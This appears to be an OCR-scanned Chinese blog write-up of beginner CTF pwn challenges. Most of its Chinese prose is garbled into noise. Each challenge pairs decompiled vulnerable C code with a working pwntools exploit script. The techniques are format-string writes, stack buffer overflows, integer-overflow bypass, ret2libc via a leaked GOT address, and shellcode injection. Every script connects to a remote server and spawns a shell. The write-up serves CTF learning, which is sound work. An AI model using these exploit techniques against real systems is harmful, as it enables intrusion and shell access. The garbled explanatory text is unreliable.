BB 57 15 G0 % _pwnFr X

bOring F 2019-10-02 14:48:47 KA 437 Wi 5

HEER: CIF PWN

FRALE B : AN EFEISCE, #AE CC 4.0 BY-SA FRAUMY, #8iEH _EFE SO s mA s,
ASCEEE:  httpsy/blog.csdnnet/s1054436218/article/details/101917732

FRAX

P
(“ s e
8 CTF_ PWN E R IZ A

3EXEO0ITH
1T B &4

FAFYL, L3 HORIXCTFREG A KpwniE, FEANIATIE, AFIFRAHESE. XR—LHE—LE
ZidMwriteup, FLE—T B 22K,

get_shell
XEBBEA KBS writeup..... Mt A G EH B
CGfsb

RIEBE LR —EEE R AR TSR, REEE O TRE R, DERKESSER,
REERIEXERMERT . iExX—THDHARKWIRER, EER—FEEUARFERRENA (HLERE
&, A EARREKKMZAZKE) -

SiE AT — TR

BRI A-TEFNER, REESEITEHLR, RITTLLE—THEMB:


https://blog.csdn.net/s1054436218
https://blog.csdn.net/s1054436218/category_7276276.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/s1054436218/article/details/101917732
https://blog.csdn.net/s1054436218/category_7276276.html
https://www.cnblogs.com/ichunqiu/p/9329387.html

memset (&=, @, @x64u);

| puts(“"please tell me vyour name:");
il read(®, &but, OxAu);

Il puts("leave your message please:");
Il fgets(&s, 1080, stdin);
printf("hello %s", &but);

= ssage is:");

printf(&s);

puts("yvou pwned me, here is your flag:\n");
7 system("cat flag");
3|}
Il else
iAo

puts("Thank you!");
¥

PRALAR ] DB B R IE — b AL E R R IR, AR X R B 5 R pwnme I I BB N8, BATET LR
R GXIEOE, HEHMATERAEE, TESERREFEELHT...... ) EERIANL TR RS
pwnmelJ ik, #RJ57E% Amessageh i A% XA = /F B IR R EpwnmeB i . T 2EF pwnmeZ & Kk
(fF A& R2is) -

BEfE M FHgdb (%% 7 pwndbg#fiff) BEATHARIK, S6450x80486d2 bt T4 W ki -

pwndbg>

AT A XA L ST BT R B 2 R DR A btk R printfHAT 52 U IS8 — AN 4, BATERX AN T ITHI A,
KLU EMERAFEFRIENR. B17—REF, RAIEnamesbfir \test (*ﬁnzejjﬂmuiﬁmessage, BAEName
SHERFRZBLE L , Emessage BN %20s%1$n, FER BB HFSUR T0x14 GATar4-Hr, BAl%

NFEEE G B AT B R AL -




I E AL E T R N B EBEEE T . BRAOTEZIT K, XRnameiit N\ KL 2test(+ 75 i il
TRINASER: 74657374a)
, messagefii N\ %20s%2%n (2%~ AN T A hitestffE) -

@xf7fe4520 push ebp

0x804873b (__libc_csu_init+11) add ebx, 0x1]

Bxf7de7b41 (__libc_start_main+241) add esp,

B Ftestil N7 1 27465, BATTLLE BB HANFT 5 2 T Oxffficdbckt, B PATE S Npwnmedtiik 2 5T RATH
BEHRHNFT, HROXficdcOkt AT LA 5 Bipwnme il , XA F %$8n T AB AN B AL E (SespZ A
ZHERANEED , SexplnF:




t#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.b@ring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * #p = process("CGfsb") p = remote("111.198.29.45",31983) payload_1
= "aa" + p32(pwnme_addr) p.sendlineafter("please tell me your name:\n",payload_1) payload 2 = "%8s%8%n"
p.sendlineafter("leave your message please:\n",payload_2) p.interactive()

when_did_you_born

REBHL R AR, RAAE.. EMESEPET T, R%ETADRE. RAIIEMEH DA — T H#HE

1| _inted _ fastcall main(__int64 al, char **a2, char **a3)

1
2i{

3 Intod resule, 77 rax

4|1 char v4; ff [rsp+8h] [rbp-28h]
5

5]

7

8

unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned _ intod vb; // [rsp+l8h]| [rbp-2h]

v6 = _ readfsqword(@x28u);
9| setbuf(stdin, @LL);

18| setbuf(stdout, @LL);

11| setbuf(stderr, @LL);

12| puts("What's Your Birth?"});
13| _ is0c99 scant("%d", &v5);
14| while ( getchar() != 18 )

15 5
16| if ( v5 == 1926 )
17|

18 puts("You Cannot Born In 192a6!");
19 result = OLL;

20| ¥
21| else
22| {

23 puts("What's Your MName?");
24 gets(&vd);

25 n In %d\n", v5);
26 if ( v5 == 1926 )

27 1

28 puts("You Shall Have Flag.");

29 system("cat flag");

30 ¥

31 else

32 {

33 puts("You Are Naive.");

34 puts("You Speed One Second Here.");
35 ¥

36 result = OLL;

BHAEFREZHERZXENR, FAaANHESES, —HET19260<BH. RAGIFELY, AHKREFER
FIBT IR R AR 19264F H A, W RAR R 19264 H A sl <45 firflag.

BB EESE T, LCAVE (R FHER) BHAFIVEL, REHBETRA (—EK—8, DS
TERERXMERT) « REMATEREABEEBIER, MELIERERE THANWp, KREKZHV4
BHvE, B.....expllF:



t#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.b@ring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * #p = process("when_did_you_born") p =
remote("111.198.29.45",49187) p.sendlineafter("What's Your Birth?\n","1997") p.sendlineafter("What's
Your Name?\n","a"*8+p64(1926)) p.interactive()

hello_pwn

REEBMAAER, WARAIHE, HERSHr—TIE. HIDAE — T#EH:

1| _inted  fastcall main(__int64 al, char **a2, char **a3)
21{

3| alarm(@x3Cu);

4| setbuf(stdout, @LL);

5/ puts("~~ welcome to ctf ~~ "y;

6| puts("lets get helloworld for bof");
7| read(®, &unk 601068, @x10ulLL);

8 if ( dword 60186C == 'nuaa'|)

9 sub_480686();

18| return OLL;

11}

BA A UNk_601068%I N 161~ FFF, EH Widword_60106c (Bbihk bbbk =460) RARSE

FT’nuaa”, WRFTHLLEIRag. HEHBMAINFRIAFTLF0x601068, & MUANF1F 3l &7 55 #0x60106¢.
X BB R K /N PP R, B AR AR RIS, &% payload -

1234aaun

level0

RIE A B R level0, &IER & ERKREL T, HIDAZT—T:

Fd

ssize t vulnerable_function()

{
char buf; // [rsp+6h] [rbp-86h]

return read(@, &buf, @x200ull);

-

}

"] UAB# (6 F B — N EE B ERRE L, W R0x80. MHEES T H K-

== 1un vicw oo ey B R

1lint callsystem()

1

2i{

3| return system("/bin/sh");
4

¥




PrAEEEF B, exp:

#encoding:utf-8 ''' @Author: bOring @MySite: https://blog.blring.cf/ @Date: 2019-09-29 ©9:59:02
@Version: 1.0.0 ''' from pwn import * #p = process("./level®") p = remote("111.198.29.45",53314)
call _system_addr = 0x00400596 payload = 'a' * 136 payload += p64(call_system_addr)
p.sendlineafter("Hello, World\n",payload) p.interactive()

level2

FIDASE 73 Hr — T I8 A -

llssize t Inerable functio

24

3| char buf; //

il

5/ system("echo Input:");

6| return read(®, &uf, 0x100u);
71}

buf A 0x88/1 25 18], T MMLALB B &FER . BE — TR HLH:

No canary found

No PIE (ex80648060)
®canary, BAITEF— THEA AT LAFF B R EN 245 5 e
[

[0x08048350]>




A WsystemF HREFHCSHAK, HA/bin/shitF/FeE, HEFMAMT, expliF:

t#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.b@ring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * #p = process("level2") p = remote("111.198.29.45",40649) elf =
ELF("level2") bin_sh_addr = 0x0804a024 system_addr = elf.plt['system'] payload = 'a'*140 payload +=
p32(system_addr) + p32(1) + p32(bin_sh_addr) p.sendlineafter("Input:\n",payload) p.interactive()

guess_num

RRMRPARREKEE, PP NFEER i —E BT K3 U E RFMERTB T, ARt
KRR SE BRI T RIEAZU T, BATRD Hr— T IHEAF T

v1l8 = _ readfsqword(@x28u);
setbuf(stdin, @LL);
sethuf(stdout, OLL);

v = stderr;

sethuf(stderr, OLL);

V5 = 0;
v7 = @;

*(_QWORD *)seed = sub_BB@(v3i, OLL);
T ");
puts(“Welcome to a guess number game!");
puts("---------"-""""- "Y;

puts(“Please let me know your name!™);
printf("Your name:");

gets(&vE);
srand(se=d[@]);
for (1 =0; 1 <=9; ++1 )
{
v/ =rand() ¥ 6 + 1;
printf("---------—---- Turn:%d------------- \n", (unsigned int){i + 1));

printf("Please input your guess number:");
__i50c99 _scanf("%d", &v5);

puts("---------""-"""- "Y;
if ((vs 1= w7 )
{
puts(“GG!");
exit(1);
¥
puts(“Success!™);
¥
sub_C3E();

W REFREKZER: WAZLT->Z10R8B T, ZHE-RMEGG, R KARRIIHER AT IS
flage HSEH mJLEBE R T . AL EATILAERT LM A\ 48 70 3 FH gets B HUR B i fiseed ffE,  DABRIEF
TREEFEVEESBABRAITATZRFS] . KTnameFEL K, AT AL A

FILE *v3; ffd

int v5; //|[rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]

int v7; f/ [rsp+Ch] [rbp-34h]
char v8; f/ [rsp+16h] [rhp=20b]

unsigned int seed[2]; //|[rsp+30h] [rbp-16h]
unsigned __ int64 v1@; // [rsp+38h]| [rbp-8h]

KT EOXSC-0x10M K, WA eE RIEB/TI ERATBUTHEK. BT mska EAzS AR, '
HEHTOONERNS, RERE —NCESERF, MHHG16161611EF TRAEKBEIES], FEWT:



#tinclude <stdio.h> #include <stdlib.h> int main(){ char *a = "aaaaaaaa"; srand(0x61616161); for(int
i=0;i<=9;i++){ int test = rand()%6 + 1; printf("%d\n",test); } return 0; }

EEREIE SRR TS

RIEREZMIRFRABRA LT -

int_overflow

XE RS IR RLE B GikRANIEE — T RIPPLHIE.

No PIE (6x80486000)

Befcanary, WA ZATHRE M ERIE, RO — T IR (EEIERIRE &N HRIE):



lichar *__cdecl check _passwd(char *s)
2i{

3| char *result; // eax

4 char dest: /f [esp+ah] [ebp-14h]

5/ funsigned __int8 v3; // [esp+Fh] [ebp-9h]
o]

7 Iv3 = strlen(s); |

gl if (w2 <=3u || v2 > 8u)

9 {
10 puts(“Invalid Password");
11 result = (char *)fflush(stdout);
12| 1}
13| else
14| {
15 puts(“Success™);

16 fflush(stdout);

17 result = strepy(&dest, s);

18| 1}

19| return result;

20y

R RAET AR RIEFBKAE, H5EREFSRBMAFRFERRKE, FET - int8RAUKEER
B, SR l, EXANINSRERL A LIEME256 /MBI . IRIXANEFN257, BMAENFHEF IR
BARR T 257-256=1. HEtR#, BATMA—MKEN256+4~256+8KEZ WIFFFaE, BAlLlats, SRitfT
ROP#:1E . e)q)ﬁD‘T::

t#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.b@ring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * shell addr = 0x0804868b #p = process("./int_overflow") p =
remote("111.198.29.45",34095) payload = Ox14*'a' + 4*'a' + p32(shell_addr) + (256-0x14-4-4)*'a' + 4*'3’
p.sendlineafter("Your choice:","1") p.sendlineafter("Please input your username:\n","test")
p.sendlineafter("Please input your passwd:\n",payload) p.interactive()

cgpwn2
XR—EREAR RGN EE, 2 — TIRGE:

puts(“please tell me your name");

fgets(name, 5@, stdin);

puts(“hello,you can leave some message here:");
return gets(&s);

TR e b4, name 2 FEET 1, TTmessage & FIAR H IS/ B RN, T ARE
FigetsiR#, FATE IR FEHHEE % isystem, RESEAHAname, BEnameF i AN BRATERAT &84T
T ,expin

#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.bOring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * #p = process("cgpwn2") p = remote("111.198.29.45",50695) elf =
ELF("cgpwn2") name = "/bin/sh" system_addr = elf.plt["system"] name_addr = Ox0804A080 message = "a" *
42 + p32(system_addr) + p32(0) + p32(name_addr) p.sendlineafter("please tell me your name\n",name)
p.sendlineafter("hello,you can leave some message here:",message) p.interactive()

string



REFHAMLAERRE, AR —, BEEWKIERL THM T /AW Z/NE A ik, TREFFKX
BERARBN—EERE T, FLITER@AN, ROVEMAN DL — T HEGEE.

setbuf(stdout, QLL);
alarm(@x3Cu);

sub 400996(60LL, 0L1);
v3 = malloc(BulLL);
VO = [ Inted)va,

*v3 = 68;

v3i[1] = 85;

puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell vou two secret ..."};

printf("secret[@] is ¥x\n", v4, a2);
printf("secret[1] is #¥x\n", v4 + 4);
puts{ do not tell anyone 7);
sub_480D72(v4);

puts("The End..... Really?");

return @LL;

BEAC BRI B AEBRN, FHABESKI, VIELHIE T8RPKINFZRE, RIEEMANZEPERT
#7768, FEJENAZRFAFR T H785. MVARFMHIRVIKINE, HARGC8. M8SMIHT, TRFBOXM
NMF R NAET B HE. ERHSRAE .

BT RAE AT HT— T 0x400D 7240 1X AN BRI 41 -

llunsigned __int64 _ fastcall sub_4@0D72(__int6d al)

1
2

3| char s; ff [rsp+10h] [rbp-26h]

4] unsigned __inted v3; // [rsp+28h] [rbp-8h]
5

6

7

8

v3 = _ readfsqword(@x28u);

puts{"What should your character's name be:");
_is0c99 _scanf("%s", &s);

9 if ( strlen(&s) <= @xC )

10| {

11 puts{"Creating a new player.");

12 sub_480A7D("Creating a new player.");

13 sub_400BB9();

14 sub_400CAG(a1);

15| 1}

16| else

17| {

18 puts{"Hei! What's up!");

19| 1}

20| return _ readfsqword(0x28u) " v3;
21}

X B T scanf(“%s” ) RiFATIREERIE, BUREREE, AMBFNZFERKERI T TREFAFET
canary, Ebr LRTEFFHK . BRI TS % sE KK LR



1lunsigned  int6d sub 480A7D()
2i{
3| char s1; // [rsp+8h] [rbp-18h]

41 unsigned _ inted v2; // [rsp+8h] [rbp-8h]
5

5]

7

8

vZ2 = _ readfsqword(@x28u);
puts(" This is a famous but guite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and
9| puts("furniture looks undamaged by brawls, which are very common in other pup ;
18| puts("all around the world. The decoration looks extremely valuable and would fit");
11| puts("into a palace, but in this city it's quite ordinary. In the middle of the");
12| puts("room are velvet covered chairs and benches, which surround large oaken");
13| puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
14| puts("one corner you notice a fireplace.");
15| puts("There are two obvious exits: east, up.");
16| puts("But strange thing is ,no one there.");
17| puts("So, where you will gofeast or up?:");
18| while ( 1)
19| {
20 _is0c99_scanf("%s", &s1);
21 if ( lstrcmp(&s1, "east") || !strcmp(&s1l, "east") )
22 break;
23 puts(“hei! I'm secious!");
24 puts(“So, where you will go?:");
25| 3}
26| if ( strcmp(&s1, "east"™) )
27| {
28 if ( !strcemp(&s1, "up™) )
29 sub_4009DD(&s1, "up");
30 puts("YOU KNOW WHAT YOU DO?");
31 exit(0);
32| 1}
23| return _ readfsqword(@x28u) ~ v2;
34}

RIEFE—KHBHANeast T, ®fFik. EEEFsub_400BBIIX A i %L

1ljunsigned _ int64 sub_400BBS()
2
3| int v1; // [rsp+4h] [rbp-7Ch]

4| __int64 v2; // [rsp+8h] [rbp-78h]

5 char format; // [rsp+1@h] [rbp-70h]

6| unsigned __inted v4; [/ [rsp+78h] [rbp-8h]
7

8

9

vd = _ readfsquword(@x28u);

vZ2 = 8LL;

18| puts("You travel a short distance east.That's odd, anyone disappear suddenly™);

11| puts(", what happend?! You just travel , and find another hole");

12| puts("You recall, a big black hole will suckk vou into it! Know what should vou do?");
13| puts("go into there(l), or leave(B)?:");

14| _is0c99_scanf("%d", &v1);

15 if (vl == 1)

16| {

17 puts("A voice heard in your mind");
18 puts(" 'Give me an address'");

19 150099 scanf("%1d", &v2);

20 puts("And, vou wish is:"});

21 150099 scanf("%s", &format);

22 puts("Your wish is");

23 printf(&format, &format);

24 puts("I hear it, I hear it....");
250 }

26| return _ readfsqword(®x28u) ~ vi;
270}



AT EIKES T AL, RJEE - MN REER R RRE, AT D2 (63T
FHfE. RATTLLEAL. REBREFLE=1THHROERE:

ljunsigned  int64  fastcall sub 400CAG6( DWORD *al)

2

3| wvoid *vl; [ff rsi

4| unsigned  int6d v3; // [rsp+18h] [rbp-8h]

C

6 v3 = _ readfsqword(@x28u);

7| puts("Ahu!PEEEEEEEEEELINLA Dragon has appeared!!™);

8| puts("Dragon say: HaHa! you were supposed to have a normal™);

9| puts("RPG game, but I have changed it! you have no weapon and ");
18| puts("skill! you could not defeat me !");

puts("That's sound terrible! you meet final boss!but you level is ONE!™);

12| if ( *al == 2l1[1] )

12 {

14 puts("Wizard: I will help you! USE YOU SPELL");

15 vl = mmap(@LL, @x1e@eull, 7, 33, -1, OLL);

16 read(@, vl, @x100uLL);

17 ((void (__ fastcall *)(_QWORD, void *))vi){@LL, v1);
18] }

19| return _ readfsqword(@x28u) ™~ v3;

20}

Hrral B2 v3R ik, sRRMIVIHFERAFERPN NS AFZE . BHIRERE, X 8RR MEX
SR TN B AENANFZHESE, sirrbliTshellcode. FR&IRATAT AR K, 7RI IGE EZ|
PN bk ->v3[0]FIV3[ 1] ki, 2R 5 7E 2 5 B Bk 30F 8 H op — AME B 53 — AN Rl -> TR e Ak 4T
shellcode. expilF:

#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.b@ring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * context.terminal = ['deepin-terminal','-x','sh','-c']
context(arch="amdé4', os="linux') #p = process("./string") #gdb.attach(proc.pidof(p)[@]) p =
remote("111.198.29.45",42101) print p.recvuntil("secret[@] is ") after_content = p.recvuntil("What
should your character's name be:\n") print after_content secret_addr = int(after_content.split('\n")
[0],16) p.sendline("test") addr_wanted = str(secret_addr) shellcode = asm(shellcraft.sh()) print("[*]
addr_wanted:",addr_wanted) print p.sendlineafter("So, where you will go?east or up?:\n","east") print
p.sendlineafter("go into there(1), or leave(@)?:","1") print p.sendlineafter("'Give me an
address'\n",addr_wanted) print p.sendlineafter("And, you wish is:\n","%85s%7$n") print
p.recvuntil("Wizard: I will help you! USE YOU SPELL\n") p.sendline(shellcode) #print
p.sendlineafter("Wizard: I will help you! USE YOU SPELL\n",shellcode) p.interactive()

level3

FREF R B

No canary found

No PIE (©6x8048000)

XEEAHcanary(RY, JFIFEAAE LB A ki IR . BT M — T IRAHD:
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char buf; /f [esp+8h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(@, &buf, Bx108u);

RN Y, R TR

X RS IR TR B, B Rt R B 5 i il iErop 1 .

ENMRBEEB A systemBH, KA R/bin/sh7fFE, DI EMAH T witeli#, FRATAT LAMRTT R MR —
SHUR LGS . REMEHAEE rEmlibec it EmEs, FHid 7 writelR Bk fE, 2 libcHwrite ki #H)
bk SR vHEBE, BN _B/bin/shify fw# fsystemB B KW, Bl At EHBNFERFDNCBANST . RS
7EropHiR [B] Elvul_funci i Fsystemki $. BARFIFH expin -

#tencoding:utf-8 ''' @Author: b@ring @MySite: https://blog.b@ring.cf/ @Date: 2019-09-29 09:59:02
@Version: 1.0.0 ''' from pwn import * #p = process("./level3") p = remote("111.198.29.45",31892) elf =
ELF("./level3") libc = ELF("1libc_32.s0.6") write_plt = elf.plt["write"] write_got = elf.got["write"]
write_offset = libc.symbols["write"] system_offset = libc.symbols["system"] bin_sh_offset =
libc.search("/bin/sh").next() vul_addr = 0x0804844B payload = 140*'a' payload += p32(write_plt) +
p32(vul_addr) + p32(1) + p32(write_got) + p32(4) start_content = p.recvuntil("Input:\n") print
start_content p.sendline(payload) output = p.recvuntil("Input:\n") print output write_addr =
u32(output[:4]) print "[*] write_addr:",hex(write_addr) system_addr = write_addr - write_offset +
system_offset bin_sh_addr = write_addr - write_offset + bin_sh_offset print "[*]
system_addr:",hex(system_addr) print "[*] bin_sh_addr:",hex(bin_sh_addr) payload = 140*'a' payload +=
p32(system_addr) + p32(vul_addr) + p32(bin_sh_addr) p.sendline(payload) p.interactive()

G55

HEHFX LR —BIET, BREEEEEFE, BAREGRAESEE, HEREFESHFAIIM. &
RERT —HARE, WTRBEIEREM AN RESEARMA, FITHEFRRZRN. BH A HE
e, BRREBMEMENTHEE, PHFETROTFEXES (CEMTIUER T, EREREIHERD .
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